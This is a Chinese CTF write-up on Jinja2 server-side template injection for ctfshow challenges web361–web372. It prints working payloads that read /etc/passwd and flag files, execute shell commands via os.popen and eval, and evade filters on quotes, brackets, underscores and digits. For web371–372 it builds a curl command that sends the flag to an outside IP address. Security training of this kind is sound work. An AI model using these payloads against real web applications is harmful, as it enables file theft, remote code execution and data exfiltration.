SSTI就是服务器端模板注入(Server-Side Template Injection),SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

关于SSTI的python类的知识
python 中的 魔术方法

dict:保存类实例或对象实例的属性变量键值对字典
class:返回调用的参数类型
mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
bases:返回类型列表
subclasses:返回object的子类
init:类的初始化方法
globals:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

base和 mro都是用来寻找基类的。

//获取对象类
''.__class__          <class 'str'>
().__class__        <class 'tuple'>
[].__class__        <class 'list'>"".__class__        <class 'str'>__ init__方法用于将对象实例化,
__ globals__获取function所处空间下可使用的module、方法以及所有变量。
__ import__动态加载类和函数,也就是导入模块,经常用于导入os模块
//基类
{{''.__class__.__base__}}     (<type 'basestring'>,)
类型对象的全部基类,以元组形式,类型的实例通常没有属性
{{''.__class__.__mro__}} 此属性是由类组成的元组,在方法解析期间会基于它来查找基类[].__class__.__bases__[0]     <type 'object'>
//返回子类
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[-1].__subclasses__()
可以从返回的子类中找到可以利用的类

这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类

常见SSTI的payload

#文件读取和写入
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}  #每次执行都要先写然后编译执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}  #命令执行
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}  {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}#这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}#system函数换为popen('').read(),需要导入os模块
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}#不需要导入os模块,直接从别的模块调用
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
#读文件
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}#命令执行
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}#命令执行(变种)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}  {{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}
{% endif %}
{% endfor %}#读文件(变种)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}
{% endfor %}

web361

注入点是?name。

?name={{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

利用的是os._wrap_close类

得到flag

ctfshow{77ca18dd-38c5-4a9c-a735-522a8af345c9}

web362

可以用以下已有的函数,去得到__builtins__,然后用eval就可以了:

?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

这里从羽师傅那里学习到了一种新的姿势:

?name={{x.__init__.__globals__['__builtins__']}}

这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__然后用eval就可以了。

还学习了一下用{% %}来SSTI:

{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}

web363

过滤了单双引号,可以用request来绕过:

?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}

得到flag

ctfshow{b67808f1-1558-4cf7-94ad-80592862db91}

也可以考虑字符串拼接,这里用config拿到字符串,比较麻烦就不全演示了,只演示部分:

?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}

相当于

?name={{url_for.__globals__['os']}}

也可以先把chr给找出来,然后用chr拼接就不需要引号了:

?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print  url_for.__globals__[chr(111)%2bchr(115)]%}

也可以利用过滤器,类似这样的(()|select|string)[24]来拼接

web364

(加在前面,当时这里有一个误区,以为values的值仅仅是post,其实也包含get,所以valuess也可以。)
过滤了args,本来考虑用request.values,但是发现post方法不被allow,所以改成cookie:

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
a=os;b=popen;c=cat /flag

得到flag

ctfshow{f5d577a1-055e-462c-a29d-c2f899cc1529}

web365

过滤了单双引号,还有中括号,request.cookies仍然可以用了。
单双引号的绕过还是利用之前提到的姿势,至于中括号的绕过拿点绕过,拿__getitem__等绕过都可以。

使用request绕过的话可以这样:

?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag

得到flag

ctfshow{60e1dfbd-6c10-42ed-b0f1-dea0e3351f36}

另外一种payload

payload
?name={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
cookie传值
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

得到flag

web366

在之前的基础上又ban了下划线_,这样__globals__这样的就构造不出来了,拿request绕过。
获取属性的话,用lipsum.(request.values.b)是会500的,中括号被ban了,__getattribute__也用不了的话,就用falsk自带的过滤器attr:

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}Cookie:a=__globals__;b=cat /flag

得到flag

ctfshow{606285f5-bd61-46bf-b5fc-caed9f9801f1}

web367

还ban了os,那就把os写到request里面就行了,只要不ban掉request的话,还是比较轻松的。

?a=__globals__&b=os&c=cat /flag&name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}

得到flag

ctfshow{cb273f45-704d-4f92-b6aa-960c0fbdcace}

web368

ban了{undefined{,就要想办法拿{% %}来绕过。把上一题的改一下就能直接用了:

?a=__globals__&b=os&c=cat /flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}

得到flag

ctfshow{3a9044de-d00e-43fe-b4b2-167e30cdca9e}

web369

终于把request给ban了,就想办法自己凑字符了,这里拿config来凑。但是一个问题是_被ban了,所以__str__()用不了,这里拿string过滤器来得到config的字符串:config|string,但是获得字符串后本来应该用中括号或者__getitem__(),但是问题是_被ban了,所以获取字符串中的某个字符比较困难,这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符,写个脚本:

import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"payload="cat /flag"
result=""
for j in payload:for i in range(0,1000):r=requests.get(url=url.format(i))location=r.text.find("<h3>")word=r.text[location+4:location+5]if word==j.lower():print("(config|string|list).pop(%d).lower()  ==  %s"%(i,j))result+="(config|string|list).pop(%d).lower()~"%(i)break
print(result[:len(result)-1])

最终payload如下:

?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}

得到flag

ctfshow{b0e4e9a3-b119-4791-8857-c57425b8e3d9}

web370

简单测试可知,这题又把数字也过滤了,那就想办法构造出数字。

还是参考羽师傅的:

?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

分析如下

几个c就代表几,比如c=1,ccc=3
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
用~拼接    构造coun=24
{% set coun=(cc~cccc)|int%}
同web169
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file="/flag"
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}

得到flag

ctfshow{386f8c00-c079-4f47-91ab-76c57457a8ce}

web371

先 FUZZ 一下得到黑名单:'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', "'", '"', '{{', '[', '_', '__', 'os', 'get_flashed_messages', 'current_app',' request', 'args', 'url_for', 'print',由于过滤了 print,这里采用反弹 shell 的方式来获取 FLAG

{% set b=(t|length)%}
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,ccc,ccccccccc,ccccc,point,cc,cccccccccc,ccccc,point,c,cccc,ccccccccc,point,c,b,cccccc,maohao,ccccccccc,cccccccc,ccccccc,ccccccccc,xiegang,result)|join %}
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

print禁用了,只能用curl外带了

?name=
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,cccc,ccccccccc,point,cc,ccc,cc,point,ccccccc,cccccc,point,c,cccc,maohao,cccc,c-c,c-c,c-c,xiegang,result)|join %}
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

web372

先 FUZZ 一下得到黑名单:'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', "'", '"', '{{', '[', '_', '__', 'os', 'get_flashed_messages', 'current_app',' request', 'args', 'url_for', 'print', 'count',由于过滤了 print,这里采用采用反弹 shell 的方式来获取 FLAG,过滤的 count 用 length 来代替

{% set b=(t|length)%}
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,ccc,ccccccccc,ccccc,point,cc,cccccccccc,ccccc,point,c,cccc,ccccccccc,point,c,b,cccccc,maohao,ccccccccc,cccccccc,ccccccc,ccccccccc,xiegang,result)|join %}
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

可以用全角数字代替正常数字

def half2full(half):  full = ''  for ch in half:  if ord(ch) in range(33, 127):  ch = chr(ord(ch) + 0xfee0)  elif ord(ch) == 32:  ch = chr(0x3000)  else:  pass  full += ch  return full
t=''
s="0123456789"
for i in s:t+='\''+half2full(i)+'\','
print(t)

web入门--ssti相关推荐

  1. 8、web入门回顾/ Http

    1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作      : 启动:  %tomcat%/bin/startup.bat 关闭: % ...

  2. WEB入门实践-张晨光-专题视频课程

    WEB入门实践-256人已学习 课程介绍         WEB开发入门编程,从各种开发工具的讲解到html标签,css元素讲解,js课程系列. 课程收益     培养web开发技术人才 讲师介绍   ...

  3. Golang Web入门(4):如何设计API

    Golang Web入门(4):如何设计API 摘要 在之前的几篇文章中,我们从如何实现最简单的HTTP服务器,到如何对路由进行改进,到如何增加中间件.总的来讲,我们已经把Web服务器相关的内容大概梳 ...

  4. Golang Web入门(3):如何优雅的设计中间件

    Golang Web入门(3):如何优雅的设计中间件 摘要 我们上篇文章已经可以实现一个性能较高,且支持RESTful风格的路由了.但是,在Web应用的开发中,我们还需要一些可以被扩展的功能. 因此, ...

  5. Golang Web入门(2):如何实现一个RESTful风格的路由

    Golang Web入门(2):如何实现一个RESTful风格的路由 摘要 在上一篇文章中,我们聊了聊在Golang中怎么实现一个Http服务器.但是在最后我们可以发现,固然DefaultServeM ...

  6. java判断读到末尾_Java Web入门之java--第一节 java 简介及开发环境安装

    本篇博客是Java web入门的第一篇博客,这篇博客主要讲述java语言的一些简介. 一)先从Java语言的诞生说起. 1991年,Sun公司在一个叫做James Gosling的人的带领下,成立了一 ...

  7. CTFshow——web入门——sql注入

    web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...

  8. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  9. [ctfshow]web入门——文件上传(web156-web163)

    [ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...

  10. CTF Web入门 命令执行 笔记

    CTF Web入门 命令执行 eval(读取命令),但各种字符被ban if(!pregmatch("...",$c)) #指过滤了...eval($c); 这时候可以尝试 ?c= ...

最新文章

  1. 微信内置浏览器中的cookie很诡异呀
  2. AI新海诚就是在下,不信来玩
  3. DPDK helloworld 源码阅读
  4. 微课--Python网络爬虫采集百度搜索结果(例4-5)
  5. C++ const使用情况总结
  6. STP-2-三个选择
  7. 华为软件精英挑战赛(杭厦赛区冠军,全球第五)
  8. matlab接触封装,MATLAB如何解除封装
  9. js把html转成json,js字符串转成JSON
  10. 苹果铃声制作(流水是操作记录)
  11. Guided Adversarial Attack for Evaluating and Enhancing Adversarial Defenses
  12. WINCE上网本才是正道——关于目前ARM+CE的上网本的文章汇编
  13. jquery向后台上传文件并显示文件名
  14. createCriteria的用法
  15. linux网卡slave状态,生产环境中linux bonding 主备模式slave网卡切换的方法
  16. HDU——1013(字符串+数学)Digital Roots
  17. Top 7 PHP Security Blunders
  18. semantic-ui semantic.json配置
  19. D题 走迷宫
  20. lisp写标高线_基于Autolisp语言的等高线批量赋标高程序

热门文章

  1. 2021 Pycharm汉化教程,两种方法,带图讲解,简洁明了
  2. java 应用 中文字体_Linux 添加中文字体库,解决Java 生成中文水印不显示问题
  3. linux系统下载r软件安装,Linux安装R语言包
  4. java输出date_Java萌新的小小总结:Date日期类数据以给定格式打印输出
  5. 软考之软件设计师之第一战计算机系统概论重点和坑
  6. XLSTransformer 导出
  7. Unix环境高级编程的学习环境的搭建
  8. 微型计算机机安装硬盘教程,台式机械硬盘怎么安装?机械硬盘安装图解教程(SATA固态可参考)...
  9. word转换为pdf后图片失真的解决办法
  10. python写字_用Python写书法作品,WOW!